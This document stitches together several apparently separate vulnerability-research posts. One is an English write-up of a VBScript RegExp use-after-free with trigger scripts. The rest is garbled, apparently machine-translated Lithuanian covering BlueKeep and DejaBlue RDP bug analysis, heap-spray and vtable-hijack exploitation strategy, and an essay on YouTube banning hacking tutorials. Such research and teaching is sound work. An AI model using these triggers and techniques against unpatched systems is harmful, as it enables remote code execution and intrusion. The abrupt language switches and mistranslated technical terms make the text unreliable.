Set regex = New RegExp
regex.Pattern = "a"
regex.Global = False
MsgBox regex.replace("aaa", GetRef("lolRegex"))
Function lolRegex(singleMatch, position, fullString)
lolRegex = "b"
End Function
Basically, whenever the pattern gets matched the function “lolregex” gets called (this is known as a callback). The callback must return what ever we want the pattern to be replaced with (in our case “b”).
Now I’m even more sure this is some kind of use-after-free. My guess is that during the callback we can free Buf1 and allocate something else at same address. But first, we must know what Buf1 is.
Buf1 is passed as a function argument, so i set a breakpoint at the start of ReplaceUsingCallable(). My breakpoint was triggered, then I navigated to Buf1’s memory.
The data contained in Buf1.
Using WinDbg to verify that Buf1 is in fact allocated on the heap.
Buf1 is allocated on the heap; there are also two “a” towards the end of the memory. Figuring the ‘a’s might be related to my RegEx pattern, I changed the pattern to “lolregex”.
new data contained in Buf1
Success! Now I know that Buf1 is related to my RegEx pattern.
My callback is invoked in the middle of ReplaceUsingCallable(), so I decided to modify pattern there.
Set regex = New RegExp
regex.Pattern = "a"
regex.Global = False
MsgBox regex.replace("aaa", GetRef("lolRegex"))
Function lolRegex(singleMatch, position, fullString)
'Change the RegEx pattern during the callback
regex.Pattern = "I probably shouldn't be allowed to do this"
lolRegex = "b"
End Function
A wild error code appears.
The script returned the error code 0x80004005. A single location returns 0x80004005; it’s the pointer check from earlier.
I set a breakpoint on the pointer check and inspected both *a6 and Buf1. Buf1 is still the address of my old RegEx pattern (which has now been deallocated). Unfortunately, *a6 is now set to null. Exploit this bugwould require setting *a6 back to the address of Buf1.
Passing The Pointer Validation
After a fair amount of reverse engineering, I found the problem: although setting regex.Pattern to a new value frees Buf1, it doesn’t allocate a new buffer.
put_Pattern gets called when a value is assigned to the regex.Pattern.
Digging deeper, I discovered the function RegExpComp::Compile() is responsible for creating Buf1. Unfortunately, we can’t explicitly call regex.compile() in VBScript (though in other languages it is possible).
Due to the fact compile() is a VTable function, I can’t just look at XRefs to see where it gets invoked. Instead, I set a breakpoint at the start of Compile(); then I inspected the callstack.
The call stack for Compile()
Somewhat unsurprisingly, compile() gets invoked during a call to regex.replace(). By making a redundant call to replace() inside the callback, it’s possible to force compile my new pattern.
Set regex = New RegExp
regex.Pattern = "a"
regex.Global = False
MsgBox regex.replace("aaa", GetRef("lolRegex"))
Function lolRegex(singleMatch, position, fullString)
regex.Pattern = "I probably shouldn't be allowed to do this"
call regex.replace("", "") 'force pattern compile but do nothing
lolRegex = "b"
End Function
Now when I run my script the check fails again, but for a different reason.
*a6 is set again, but not to the address Buf1.
The problem here is simple: the new compiled pattern must be allocated at the same address as the old one. It’s not possible to explicitly decide where heap memory is allocated; however, there is a workaround.
I’m not going to go too deep into how the heap works here. If you’d like a more in-depth understand, I suggest reading the original paper on “Heap Feng Shui” [2].
When allocating small blocks of memory, the heap allocator uses an algorithm to select some free space.
Heap Coaleasing
Upon freeing a block, the heap allocator checks if either of the adjacent blocks are also free. If two neighboring blocks are free, the are merged into a larger block (coalescing).
An example heap layout prior to Allocated Block 1 being freed.Upon freeing Allocated Block 1, the freed space is merged with Free Block 1 & 2.
Coalescing is a problem when trying to exploit a use-after-free. If the block we need to reallocate is coalesced downwards, then the new buffer would be allocated at a lower address.
To stop coalescing from occurring, we can abuse the low-fragmentation heap (LFH).
Heap allocations are inherently slow, due to the fact the allocator must search for a free block to fit the requested size.
The LFH improves performance by grouping together allocations of the same size. Let’s assume a 30 byte allocation is requested: if there’s a dedicated heap where all allocations are 30 bytes, then the allocator can simply return the 1st free block (no need to check the size). Because all blocks on the LFH must be the same size, coalescing is disabled.
Windows XP and below do not support the LFH. Though, this isn’t a problem because such systems are easy to exploit via other heap exploitation techniques (due to lack of mitigations).
LFH Allocation Order Randomization
On Windows 8 and above, a new mitigation was introduced to further complicate UAF exploitation. The LFH now no longer allocates blocks consecutively, instead the order is randomized. The allocator holds a list of free blocks, picking one at random each time an allocation is requested.
Luckily, LFH randomization is not a problem for us; I’ll explain why.
When a UAF exploit fails to re-allocate the target address, 1 of 3 things usually occurs.
the memory is left unallocated, in which case the program crashes trying to use uninitialized memory.
the memory gets re-allocated by something else, in which case the program crashes trying to use some random data.
the program performs sanity checks on the memory, failing safely if something unexpected is located there.
Remember the pointer check we’re trying to bypass? It basically validates the memory was allocated by a call to RegExpComp::Compile (i.e. contains a valid RegEx pattern). If we fail to re-allocate the same address, we won’t bypass the pointer check, thus the program won’t crash!
All we need to do is set up an exception handler, then just keep trying to allocate the new pattern at the old address. Whoever said security checks are bad for exploit developers?
'Just keep swimming...
On Error Resume Next
Set regex = new RegExp
regex.Global = False
'Re-allocate the pattern 19 times to enable LFH for this size allocation
For idx=0 To 19
regex.Pattern = pattern
call regex.Replace("", "")
Next
'Attempt to trigger the use-after-free up to 5000
For idx=0 To 4999
regex.Pattern = "aaaaa"
retval = regex.Replace("aaaaabbbbb", GetRef("lolRegex"))
'if function returns succesfully, then our use-after-free succeeded
If retval Then
MsgBox "Attempt number " & idx & " succeeded!", 48, "Great Success!!!"
Exit For
End If
Next
Function lolRegex(singleMatch, position, fullString)
'replace pattern with one of same size so it goes on same LFH
regex.Pattern = "bbbbb"
call regex.Replace("", "") 'force pattern compile
lolRegex = "c"
End Function
Running the new script, we’ll get something like this (even on Windows 10 with all heap mitigations enabled).
Now the question is, how is this helpful? To use the LFH, both the old and new patterns must be equal size. Why would replacing one RegEx pattern with another one of the same size be exploitable? Well, in this case size doesn’t matter…
I went looking for allocations made based on data contained in the pattern buffer. Next I narrowed down the allocations to those made before I replace the pattern buffer, but used afterwards. I found one.
RegExpExec::Cgrp reads a variable from the compiled pattern called “Cgrp” (group).
After looking into the compilation of the pattern, I came to understand that “Cgrp” is the number of groups in the RegEx pattern. The allocation is done prior to calling ReplaceUsingCallable(); therefore, persists throughout my reallocation of the pattern.
RegExp::ReplaceUsingCallable() makes multiple calls to a function named RegExpExec::Exec(). Exec() is responsible for performing the actual pattern matching; inside is the following code.
sets all bytes of the previously allocated group_array to 0xFF.
The memset is done based on my pattern’s Cgrp value; which, I can change. If I recompiled the pattern with one of the same size, but with more regex groups, I’d overflow “group_array”.
For example, the pattern “aaaaaa” contains 1 group, whilst “(a)(a)” contains 2 groups and is the same length. Due to the fact the memset sets the entire buffer, the size of the pattern in each group is irrelevant.
In order to perform a successful heap overflow, there are some requirements.
Firstly, RegExpExec::Exec() must be called after I replace the pattern buffer. This can be done by setting the RegExp.Global option to True.
When Global is set, RegExp::ReplaceUsingCallable will replace every instance of the given pattern. The flow is as follows.
Call RegExpExec::Exec() to see determine if there are any matches of the regex pattern in the source string.
If a pattern match is found, invoke the supplied callback.
Replace the match with the value returned by the callback.
If global is set, enter a loop performing 1 – 3, until all matches are replaced.
What I can do is set Global to True, then create a string which matches the original pattern at least twice. When the callback is called, I will replace the pattern with one of the same size, but containing more groups. Upon the second call to Exec(), a heap overflow will occur.
After some calculation, I found a single and multi-group pattern of the same internal size. My malicious pattern contains 30 groups, whilst the original contains only 1.
The finalized code will overflow the heap with invalid data, leading to a program crash. For demonstration, I’ve chained the bug with CVE-2019-0768, which allows execution of VBScript in IE11.
lolregex
Now, let’s visit the page using IE11 on a system without the March 2019 security patch! I used Windows 7 because most crashes are silent on Windows 10.
Conclusion
The exploit offers a decent out-of-bounds (OOB) write primitive, which can be targeted at either the general or low-fragmentation heap. With such a primitive, it’s possible to escalate to arbitrary read/write, thus RCE. For obvious reasons, I will not be providing any information on how to achieve a weaponized exploit.
Interestingly, the “Enable ActiveX” prompt can be bypassed. Compiling the script into a safe-for-initialization ActiveX object leads to it being run immediately, without warning. Furthermore, the exploit can be triggered in any application that hosts the IE rendering engine. It may even be possible to trigger code execution from within an Office document, without macros enabled.
Anyway, that’s all! Thank you for coming to my talk on how to write safe and secure RegEx!
Aš sulaikiau šį rašymą, kol koncepcijos įrodymas (PoC) buvo viešai prieinamas, kad nepadarytų jokios žalos. Dabar, kai „github“ yra keletas atsisakymo teikti paslaugas PoC, skelbiu savo analizę.
Kaip visada, pradėjau nuo pataisos modifikuotų dvejetainių failų BinDiff (šiuo atveju yra tik vienas: TermDD.sys). Žemiau matome rezultatus.
TermDD.sys BinDiff prieš ir po pataisų.
Dauguma pakeitimų pasirodė gana kasdieniški, išskyrus „_IcaBindVirtualChannels“ ir „_IcaRebindVirtualChannels“. Abiejose funkcijose buvo tas pats pakeitimas, todėl sutelkiau dėmesį į pirmąją, nes susiejimas greičiausiai įvyktų prieš surišant iš naujo.
Originalūs IcaBindVirtualChannels yra kairėje, pataisyta versija yra dešinėje.
Pridėta nauja logika, keičianti _IcaBindChannel iškvietimą. Jei palyginama eilutė yra lygi „MS_T120“, trečiasis _IcaBindChannel parametras nustatomas į 31.
Atsižvelgiant į tai, kad pakeitimas įvyksta tik tuo atveju, jei v4+88 yra „MS_T120“, galime manyti, kad norint suaktyvinti klaidą, ši sąlyga turi būti teisinga. Taigi, mano pirmasis klausimas: kas yra „v4+88“?
Žvelgdamas į IcaFindChannelByName logiką, greitai radau atsakymą.
„IcaFindChannelByName“ viduje
Naudodamiesi pažangiomis anglų kalbos žiniomis, galime iššifruoti, kad „IcaFindChannelByName“ suranda kanalą pagal jo pavadinimą.
Atrodo, kad funkcija kartoja kanalų lentelę, ieškodama konkretaus kanalo. 17 eilutėje yra a3 ir v6+88 eilučių palyginimas, kuris grąžina v6, jei abi eilutės yra lygios. Todėl galime manyti, kad a3 yra kanalo pavadinimas, kurį reikia rasti, v6 yra kanalo struktūra, o v6+88 yra kanalo pavadinimas kanalo struktūroje.
Remdamasis visa tai, kas išdėstyta aukščiau, padariau išvadą, kad „MS_T120“ yra kanalo pavadinimas. Toliau man reikėjo išsiaiškinti, kaip iškviesti šią funkciją ir kaip nustatyti kanalo pavadinimą į MS_T120.
Nustačiau pertraukos tašką „IcaBindVirtualChannels“, ten, kur vadinama „IcaFindChannelByName“. Vėliau prisijungiau prie KPP su teisėtu KPP klientu. Kiekvieną kartą, kai suveikė pertraukos taškas, aš patikrinau kanalo pavadinimą ir skambučių krūvą.
Skambučių paketas ir kanalo pavadinimas pirmą kartą skambinant į IcaBindVirtualChannels
Pats pirmasis skambutis į IcaBindVirtualChannels skirtas kanalui, kurio noriu, MS_T120. Tolesni kanalų pavadinimai yra „CTXTW“, „rdpdr“, „rdpsnd“ ir „drdynvc“.
Deja, pažeidžiamo kodo kelias pasiekiamas tik tada, kai „FindChannelByName“ pavyksta (ty kanalas jau yra). Tokiu atveju funkcija nepavyksta ir sukuriamas MS_T120 kanalas. Kad suaktyvinčiau klaidą, turėčiau antrą kartą iškviesti IcaBindVirtualChannels kanalo pavadinimu MS_T120.
Taigi dabar mano užduotis buvo išsiaiškinti, kaip iškviesti IcaBindVirtualChannels. Skambučių krūvoje yra IcaStackConnectionAccept, todėl kanalas greičiausiai bus sukurtas prisijungus. Tiesiog reikia rasti būdą, kaip atidaryti savavališkus kanalus po prisijungimo… Galbūt teisėto KPP ryšio uostymas suteiktų šiek tiek įžvalgos.
KPP ryšio sekos fiksavimas
Kanalų masyvas, kaip matyti iš WireShark RDP analizatoriaus
Antrame atsiųstame pakete yra keturi iš šešių kanalų pavadinimų, kuriuos mačiau, perduodamus „IcaBindVirtualChannels“ (trūksta MS_T120 ir CTXTW). Kanalai atidaromi tokia tvarka, kokia jie yra pakete, todėl manau, kad tai kaip tik tai, ko man reikia.
Matant, kad MS_T120 ir CTXTW niekur nenurodyti, o atidaryti prieš kitus kanalus, manau, jie turi atsidaryti automatiškai. Dabar įdomu, kas nutiks, jei įdiegsiu protokolą ir pridėsiu MS_T120 prie kanalų masyvo.
Perkėlus pertraukos tašką į tam tikrą kodą, tik tada, kai „FindChannelByName“ pavyksta, atlikau testą.
Lūžio taškas pasiekiamas į kanalų masyvą įtraukus MS_T120
Nuostabu! Dabar pažeidžiamo kodo kelias nukentėjo, man tereikia išsiaiškinti, ką galima padaryti…
Norėdamas sužinoti daugiau apie kanalo veiklą, nusprendžiau išsiaiškinti, kas jį sukūrė. Nustačiau pertraukos tašką „IcaCreateChannel“, tada pradėjau naują KPP ryšį.
Skambučių krūva, kai paveikiamas IcaCreateChannel lūžio taškas
Po skambučių krūvos žemyn matome perėjimą iš vartotojo į branduolio režimą ntdll!NtCreateFile. Ntdll tiesiog pateikia branduolio pavyzdį, todėl tai neįdomu.
Žemiau yra ICAAPI, kuris yra TermDD.sys vartotojo režimo atitikmuo. Skambutis pradedamas naudojant ICAAPI „IcaChannelOpen“, todėl tai tikriausiai yra „IcaCreateChannel“ vartotojo režimo atitikmuo.
Kadangi „IcaOpenChannel“ yra bendra funkcija, naudojama visiems kanalams atidaryti, nusileisime dar vienu lygiu į „rdpwsx!MCSCreateDomain“.
rdpwsx!MCSCreateDomain kodas
Ši funkcija tikrai daug žadanti dėl kelių priežasčių: Pirma, ji iškviečia „IcaChannelOpen“ užkoduotu pavadinimu „MS_T120“. Antra, jis sukuria IoCompletionPort su grąžinta kanalo rankena (užbaigimo prievadai naudojami asinchroniniam įvesties / išvesties).
Kintamasis pavadinimu „CompletionPort“ yra užbaigimo prievado rankena. Žvelgdami į xrefs prie rankenos, tikriausiai galime rasti funkciją, kuri tvarko įvesties / išvesties į prievadą.
Visos nuorodos į „CompletionPort“
Na, MCSIinitialize tikriausiai yra gera vieta pradėti. Inicijavimo kodas visada yra gera vieta pradėti.
Kodas, esantis MCSIinitialize
Gerai, todėl užbaigimo prievadui sukuriama gija, o įėjimo taškas yra „IoThreadFunc“. Pažiūrėkime ten.
Užbaigimo prievado pranešimų tvarkytuvė
„GetQueuedCompletionStatus“ naudojamas duomenims, išsiųstiems į užbaigimo prievadą (ty kanalą), gauti. Jei duomenys sėkmingai gauti, jie perduodami MCSPortData.
Kad patvirtinčiau savo supratimą, parašiau pagrindinį KPP klientą su galimybe siųsti duomenis KPP kanalais. MS_T120 kanalą atidariau naudodamas anksčiau paaiškintą metodą. Kai atidariau, nustatau MCSPortData pertraukos tašką; tada išsiunčiau eilutę „MalwareTech“ į kanalą.
Pertraukos taškas pasiektas MCSPortData, kai duomenys siunčiami į kanalą.
Tai patvirtina, kad galiu skaityti / rašyti į MS_T120 kanalą.
Dabar pažiūrėkime, ką MCSPortData daro su kanalo duomenimis…
MCSPortData buferio tvarkymo kodas
ReadFile nurodo, kad duomenų buferis prasideda nuo channel_ptr+116. Netoli funkcijos viršaus yra chanel_ptr+120 (4 poslinkis į duomenų buferį) patikrinimas. Jei dword nustatytas į 2, tada funkcija iškviečia HandleDisconnectProviderIndication ir MCSCloseChannel.
Na, tai įdomu. Kodas atrodo kaip tam tikra tvarkytuvė, skirta susidoroti su kanalo prijungimo / atjungimo įvykiais. Išnagrinėjęs, kas paprastai suaktyvintų šią funkciją, supratau, kad MS_T120 yra vidinis kanalas ir paprastai nėra rodomas išorėje.
Nemanau, kad mes čia turime būti…
Būdamas šiek tiek smalsus, išsiunčiau duomenis, reikalingus skambučiui suaktyvinti, į MCSChannelClose. Be abejo, priešlaikinis vidinio kanalo uždarymas negali sukelti problemų, ar ne?
O, ne. Mes sudaužėme branduolį!
Oi! Pažvelkime į klaidų patikrinimą, kad geriau suprastume, kas atsitiko.
Atrodo, kad kai mano klientas atsijungė, sistema bandė uždaryti MS_T120 kanalą, kurį jau buvau uždaręs (dėl to du kartus nemokama).
Dėl kai kurių „Windows Vista“ pridėtų švelninimo priemonių dvigubai nemokamus pažeidžiamumus dažnai sunku išnaudoti. Tačiau yra kažkas geresnio.
Kanalo valymo kodo vidinės dalys veikia, kai ryšys nutrūksta
Viduje sistema sukuria MS_T120 kanalą ir susieja jį su ID 31. Tačiau kai jis susietas naudojant pažeidžiamą IcaBindVirtualChannels kodą, jis susiejamas su kitu ID.
Kodo skirtumas prieš pataisą ir po jo
Iš esmės MS_T120 kanalas susiejamas du kartus (vieną kartą viduje, tada vieną kartą mes). Dėl to, kad kanalas yra susietas pagal du skirtingus ID, gauname dvi atskiras nuorodas į jį.
Kai kanalui uždaryti naudojama viena nuoroda, nuoroda ištrinama, kaip ir kanalas; tačiau kita nuoroda išlieka (žinoma kaip nenaudoti po to). Su likusia nuoroda dabar galima įrašyti branduolio atmintį, kuri mums nebepriklauso.
2 dalis (kaip DoS paversti RCE): https://www.malwaretech.com/2019/09/bluekeep-a-journey-from-dos-to-rce-cve-2019-0708.html
Neseniai „YouTube“ pakeitė savo „įsilaužimo“ mokymo programų politiką į esminį visuotinį draudimą. Anksčiau toks turinys retkarčiais būdavo pašalinamas pagal platų „YouTube“ nuostatą „Žalingas ir pavojingas turinys“, draudžiančią vaizdo įrašus, „skatinančius neteisėtą veiklą“. Atnaujinta politika dabar konkrečiai taikoma mokomiesiems įsilaužimo vaizdo įrašams.
Ankstesnė „YouTube“ politika tiesiog uždraudė „skatinti pavojingą ar nelegalią veiklą“, pateikiant kelis pavyzdžius.Naujojoje politikoje pateikiamas daug konkretesnis turinio sąrašas, įskaitant aiškų „mokomąjį įsilaužimą ir sukčiavimą“ draudimą.
Viena iš pagrindinių problemų yra ta, kad įsilaužimo vadovėliai iš esmės nėra blogi. Egzistuoja didžiulė „YouTube“ bendruomenė, kurios tikslas – mokyti naujos kartos kibernetinio saugumo ekspertus.
Jei paprašytumėte, kad kas nors atpažintų asmenį, įsilaužantį į namus, daugeliu atvejų jie galėtų tai padaryti. Visi žino, kad galima lipti pro atvirą langą, bet kiek gali atpažinti įsilaužėlį, įsilaužusį į svetainę? Tikriausiai labai mažai. Nežinant, ką tai daro įsilaužėliai ir kaip jie tai daro, kaip galima tikėtis, kad kas nors užkirs kelią jiems arba sustabdys? Atsakymas paprastas: jie negali.
Taip pat nėra taip, kad ši politika yra tik atsargumo priemonė. Kody Kinzie, gerai žinomo „YouTube“ naudotojo ir „Blogger“, kuriančio švietimo saugos turinį, paskyra jau buvo sustabdyta.
Kad tai sužinotume, nufilmavome vaizdo įrašą apie fejerverkų paleidimą per „Wi-Fi“ liepos 4 d @YouTube davė mums įspėjimą, nes mokome apie įsilaužimą, todėl negalime jo įkelti.
„YouTube“ dabar uždraudžia: „Mokomasis įsilaužimas ir sukčiavimas: naudotojams rodoma, kaip apeiti saugias kompiuterines sistemas“
Nepaisant naujosios „YouTube“ politikos tikslo, naivu manyti, kad vidutiniai moderatoriai sugebės atskirti „gerą“ ir „blogą“ įsilaužimo vaizdo įrašą.
„YouTube“ draudimas įsilaužti į mokymo programas yra tik maža dalis daug didesnės problemos: seniai paplitusio įsitikinimo, kad bet koks įsilaužimas yra blogas. Būtina suprasti, kad visos žinios apie įsilaužimą yra teisėtai naudojamos. Panagrinėkime kai kuriuos įsilaužimo įgūdžius, kurie paprastai, nors ir klaidingai, suprantami kaip neteisėti arba neetiški.
Sukčiavimas kredito kortelėmis Neetiška: vogti pinigus iš nieko neįtariančių žmonių. Etinis: sukurti sistemą, kuri leistų aptikti pavogtas kredito korteles ir užkirsti jai kelią.
DDoSing Neetiška: verslo trikdymas pašalinant jų el. prekybos svetaines iš interneto. Etiška: paslaugų, skirtų DDoS atakoms sumažinti, projektavimas ir testavimas.
Kenkėjiškų programų rašymas Neetiška: užkrėsti ir sunaikinti žmonių kompiuterius. Etiška: netikrų kenkėjiškų programų atakų modeliavimas, siekiant patikrinti jūsų organizacijos gebėjimą aptikti kenkėjiškų programų protrūkį ir į jį reaguoti.
Įsilaužimo į svetaines Neetiška: įsilaužimas į svetaines ir konfidencialių vartotojų duomenų vagystė. Etiška: svetainės programinės įrangos patikrinimas, ar nėra saugumo spragų, prieš pradedant ją naudoti plačiajai visuomenei.
Mano asmeninis įsitikinimas yra tas, kad kalbant apie įsilaužimą svarbu ne tai, ko moko, o kaip ir kas. Kontekstas yra nepaprastai svarbus, ypač potencialiai jaunų ir įspūdingų paauglių auditorijai. Įsilaužimo vadovėliai visada bus prieinami, kad ir kas būtų, vienintelis tikras klausimas yra kur.
Norėdamas papildyti savo mintį, apsilankiau gerai žinomame įsilaužimo forume. Aptariamas forumas nėra kokia nors slapta, tik pakvietimu skirta pogrindžio „darkweb“ nusikaltėlių slėptuvė: jame kalbama angliškai, registracija yra atvira visiems ir lengvai randama „Google“ ieškant įsilaužimo pamokų.
Kenkėjiškos programos dažnai parduodamos forume, kur kai kurie vartotojai teigia, kad jos pardavimas nėra nei neteisėtas, nei neetiškas. Dažnas argumentas yra toks: ginklų gamintojai nėra laikomi atsakingais, kai vienas iš jų ginklų panaudojamas šaudant; todėl kenkėjiškų programų pardavėjai taip pat neturėtų būti. Argumentas yra labai ydingas, tačiau daugelis vartotojų jį reguliariai papagailo.
Štai keletas komentarų gijoje apie vartotoją, sulaikytą už kenkėjiškų programų pardavimą.
Štai ginčas dėl ginklo.Vėl tas pats ginčas dėl ginklo.Vėl ginčas su ginklu, bet labiau britiškas.
Taigi, kaip pavogti žmonių kreditines korteles? Žinoma, bent jau sutariama, kad tai neetiška ir neteisėta. Na, štai atsakymas į giją, kurią vartotojas klausia, ar jie būtų areštuoti už kredito kortelių vagystę.
Vartotojas teigia, kad jie nebūtų suimti, o auka tiesiog „atgautų pinigus iš banko“.
Tada pateikiamas toks atsakymas į giją, kurią vartotojas klausia, kaip užsidirbti pinigų iš savo botneto (nelegaliai įsilaužtų kompiuterių rinkinio).
Be kita ko, vienas vartotojas skatina užkrėsti aukas išpirkos programomis dėl jos „labai gero sėkmės rodiklio“.
Nors galima ginčytis, forumas nėra blogas (jame tikrai yra daug etiškų vartotojų); tačiau lentoje gausu pavojingų ir klaidinančių patarimų.
Reikia paklausti, kur mes, vaikai, norėtume sužinoti apie kompiuterių saugą? Tokios svetainės kaip „YouTube“, kur saugumo specialistai nukreips juos teisėto darbo, šešiaženklių atlyginimų ir griežtos etikos link? Arba šešėlinis forumas, kuriame jie ne tik susidurs su nusikaltimais, bet ir nusikaltėliais, kurie tiki, kad tai, ką jie daro, yra teisėta ir etiška?
Daugelis nusikaltėlių ir buvusių nusikaltėlių įsilaužėlių pradėjo vaikystėje, domėjosi tik kompiuteriais. Ar neryškūs forumai, kuriuose norime, kad būtų lengvai pažeidžiami bendraamžių įtaka, susitinka? Ar politika, kuria siekiama slopinti švietimo turinį, baiminantis piktnaudžiavimo, verta sukurti tuos nusikaltėlius, kuriems siekiama užkirsti kelią?
2019 m. rugpjūtį „Microsoft“ paskelbė, kad pataisė KPP klaidų rinkinį, iš kurių dvi buvo užkrėstos. Kirminų klaidos, CVE-2019-1181 ir CVE-2019-1182, turi įtakos kiekvienai OS nuo Windows 7 iki Windows 10. Kyla painiavos dėl to, kuri CVE yra, nors gali būti, kad abu susiję su ta pačia klaida. Pažeidžiamas kodas yra ir RDP kliente, ir serveryje, todėl jį galima išnaudoti bet kuria kryptimi.
BinDiff arba RDPCoreTS.dll (vienintelis su RDP susijęs failas pakeistas sistemoje Windows 7).
Iš ankstesnio darbo su RDP manau, kad funkcijas DecodeFormatData ir SendFormatDataRequest galima iškviesti tik po autentifikavimo; paliekant tik išskleidimo funkciją.
Nepataisytos ir pataisytos išskleidimo funkcijos palyginimas.
Originalus kodas (kairėje) yra šiek tiek netvarka, nes jis buvo optimizuotas į vieną if teiginį. Atnaujintas kodas (dešinėje) yra šiek tiek mažiau netvarkingas ir turi tam tikrą papildomą patvirtinimą.
24 eilutėje pridedamas kodas, kuris patikrina, ar v11 + 0x2000 yra mažesnis nei v11. Jei sąlyga teisinga, nustatomas klaidos kodas, dėl kurio vėliau funkcija nutraukiama. Galbūt klausiate, kaip čekis gali nepavykti. Kaip prie sveikojo skaičiaus pridėjus 0x2000 jis gali būti mažesnis nei anksčiau? Atsakymas yra: per sveikojo skaičiaus perpildymą.
Nežymėtas sveikasis skaičius yra 4 baitai ir gali turėti bet kokią reikšmę nuo 0 iki 0xFFFFFFFF (4 294 967 295). Jei sveikasis skaičius padidinamas virš didžiausios vertės, jis sukasi iki nulio. Taigi, jei v11 buvo 0xFFFFFFFF, pridėjus 0x2000, galutinė vertė būtų 0x1FFF, kuri yra mažesnė nei pradinė.
v11 naudojamas kaip krūvos paskirstymo, atliekamo naudojant „naują“ operatorių, dydis. Daroma prielaida, kad jei galime perpildyti v11, paskirstymas būtų mažesnis nei išspausti duomenys, o tai sukeltų krūvos perpildymą.
Kad geriau suprasčiau, kaip išnaudoti sveikųjų skaičių perpildymą, turėjau žinoti, kokias vertes valdau ir kaip iškviesti pažeidžiamą funkciją. Norėdami tai padaryti, aš parodžiau DecompressUnchopper::DecompressUnchopper (DecompressUnchopper klasės inicijavimo funkcija). Tada aš ir toliau naudoju „xrefs to“, kad vaikščiočiau atgal, kol radau funkciją, kuri naudoja šią klasę. Galiausiai atėjau į CRdpDynVCMgr::HandleIncomingDvcData.
Iš ankstesnio darbo su RDP (dokumentų skaitymo valandos) žinojau, kad DynVC buvo trumpinys „Dynamic Virtual Channel“. DVC sąsaja leidžia palaikyti ryšį tarp kliento ir serverio modulių ir palaiko neapdorotus ir suspaustus duomenis. Tikėtina, kad pažeidžiama „išskleidimo“ funkcija gali būti paveikta siunčiant suglaudintus duomenis.
Jau turėdamas pasirinktinį KPP klientą, parašytą „BlueKeep“ išnaudojimui, pridėjau kodą, kad atidaryčiau DVC kanalą ir atsiųsčiau kai kuriuos bandymo duomenis.
Siunčiama eilutė „MalwareTech123“ į DVC kanalą.
Prijungęs derintuvą prie KPP serverio proceso, DecompressUnchopper::Decompress nustatiau pertraukos tašką ir paleidau savo kodą.
DecompressUnchopper::Decompress lūžio taškas.
rdx (2-asis argumentas) yra mano išsiųsti bandymo duomenys, o r8 (3-as argumentas) yra duomenų ilgis. Dabar, žinodamas funkcijos parametrus, galėjau išvalyti dekompiliuotą kodą.
Nustačiau lauką uncompressedSize į 1 – 0x2000 (0xFFFFE001), kad pridėjus 0x2000, jis būtų maždaug 1. Tada nustatiau, kad suspaustuose duomenyse būtų raidė „A”, kartojama 0x200 kartų, todėl turėtų susidaryti krūva. buferis perpildytas 0x1FF baitais.
Puiku, dabar galiu įrašyti savavališkus savavališko dydžio duomenis į gretimus krūvos paskirstymus! Ši klaida yra galinga, nes objektų egzemplioriai saugomi toje pačioje krūvoje, todėl juos galima perrašyti.
Pavyzdžiui, pakeičiau objekto VTable žymeklį, kad programa atliktų ptr skambutį adresu 0x1337133713371337.
Dėl rimtos „BlueKeep“ pagrįsto kirmino pavojaus sulaikiau šį rašymą, kad išvengčiau laiko juostos pailginimo. Dabar, kai RCE (nuotolinio kodo vykdymo) koncepcijos įrodymas buvo išleistas kaip Metasploit dalis, manau, kad dabar galiu tai paskelbti saugu.
Šis straipsnis bus mano ankstesnės analizės tęsinys.
Kaip minėjau ankstesniame straipsnyje, galime atlaisvinti su MS_T120 kanalu susietą duomenų struktūrą. Vien struktūros atlaisvinimas nėra labai naudingas, o jos turinio kontrolė yra naudinga. Naudojant UAF (naudojimas po-nemokamas), tikslas yra išlaisvinti objektą, tada vietoj jo paskirti netikrą. Pakeitę tikro objekto turinį savo duomenimis, įgyjame platesnę kodo, naudojančio jį, valdymą. Tai, ką galime padaryti su savo netikra kanalo struktūra, visiškai priklauso nuo to, kam ši struktūra naudojama (apie tai pakalbėsime vėliau).
Suaktyvinus UAF, MS_T120 kanalo struktūra panaikinama, bet vis tiek tinkama naudoti. Norėdami išnaudoti šį UAF, turime paskirstyti naujus duomenis tuo pačiu adresu, kuriame anksčiau buvo kanalo struktūra.
Kanalų struktūros paskirstomos ne puslapių telkinyje. Norėdami užgrobti atlaisvintą struktūrą, turime turėti galimybę paskirstyti savavališkus duomenis ne puslapių telkinyje. Norėdami išsiaiškinti būdą, išanalizavau ExAllocatePool variantų (malloc branduolio atitikmens) iškvietimus.
Idealiai atrodantis ne puslapių telkinio paskirstymas viduje IcaChannelIntputInternal.
Tai iš esmės yra purškimo ant krūvos šventasis gralis. Duomenys, siunčiami į kanalą, yra saugomi Nepuslapių telkinyje, todėl galime atlikti bet kokio dydžio ne puslapių telkinio paskirstymą, kuriame yra bet kokių norimų duomenų!
Vienintelis įspėjimas yra tai, kad šis paskirstymas yra skirtas IOCP eilei, iš kurios kanalo tvarkyklės apdoroja pranešimus. Kai pranešimas perskaitomas, jis pašalinamas iš eilės ir panaikinamas. Tačiau keletas tyrėjų nustatė, kad tam tikras kanalas niekada neskaito pranešimų iš eilės ir palieka juos paskirstyti tol, kol bus nutrauktas ryšys.
Dabar, jei išsiunčiame tokio pat dydžio paskirstymus kaip kanalo struktūra, jis greičiausiai pateks į išlaisvinto kanalo paliktą skylę (tai vadinama krūvos purškimu). Norėdami padidinti sėkmingo paskirstymo tikimybę, galime atlikti tai, kas vadinama krūvos priežiūra, kad įsitikintume, jog niekas daugiau tuo adresu nepaskirtas; tačiau tai sudėtinga tema, kurioje daug rašinių, todėl čia nesileisiu į ją.
Kanalo struktūrą, kurią galime pakeisti, grąžina funkcijos IcaFindChannel ir IcaFindChannelByName. Norint sužinoti, ką galima padaryti manipuliuojant šia kanalo struktūra, turėjau rasti, kur ji buvo naudojama. Atlikęs IcaFindChannel xref, radau šį kodą.
Iškirpta iš IcaChannelInputInternal, funkcijos, kuri apdoroja virtualaus kanalo įvestį.
Aukščiau pateiktas kodas patikrina, ar kanalo struktūros „vtable“ laukas yra ne nulis, tada, jei taip, atšaukia nuorodą ir atlieka netiesioginį iškvietimą į jį. Norėdami tai išnaudoti, turėtume nukreipti channel_struct->vtable į kokią nors mūsų valdomą atmintį, tada toje atmintyje išsaugoti žymeklį į mūsų apvalkalo kodą.
RCE atminties išdėstymas turėtų atrodyti taip.
Netiesioginis skambutis per netikrą VTable.
Deja, yra tam tikrų problemų.
Mums reikia netikros kanalo struktūros, kad būtų nurodyta netikra VTable, bet mes neturime netikros VTable adreso.
Mums reikia netikros VTable, kad būtų nurodytas apvalkalo kodas, bet mes neturime apvalkalo kodo adreso.
Bet nebijokite, visada yra išeitis!
